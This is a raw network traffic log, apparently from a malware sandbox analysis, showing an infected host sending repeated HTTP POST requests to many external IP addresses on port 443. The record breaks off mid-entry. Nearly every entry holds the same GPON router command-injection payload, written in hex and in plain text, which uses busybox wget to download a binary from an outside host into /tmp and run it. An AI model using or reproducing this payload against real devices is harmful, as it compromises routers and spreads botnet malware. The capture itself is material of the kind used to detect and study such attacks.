XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	49690	2.143.42.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172956944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	51326	123.38.225.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173018932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	35854	178.15.43.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173046112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	34322	109.114.164.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173085928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	36546	79.191.106.53	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173122883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	52566	118.154.244.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173149109 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	35186	210.177.218.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173182964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	58584	5.118.36.27	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173242092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	52744	2.16.103.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173265934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	39466	117.212.178.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173304081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	46960	123.216.237.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173327923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	52996	117.106.56.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173365116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	56328	79.128.161.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173403978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	57138	79.27.197.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173449993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	56182	37.240.20.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173511982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	49384	210.25.210.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173516035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	38454	2.137.19.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173572063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	45712	2.36.53.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173572063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	43436	178.100.8.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173624039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	59556	94.52.139.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173651934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	52612	148.191.74.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173718929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	35560	118.80.150.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173759937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	43756	210.227.124.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173809052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	39716	210.24.109.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173810005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	33012	79.11.213.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.173839092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	51084	42.2.34.119	443

Timestamp	Bytes transferred	Direction	Data
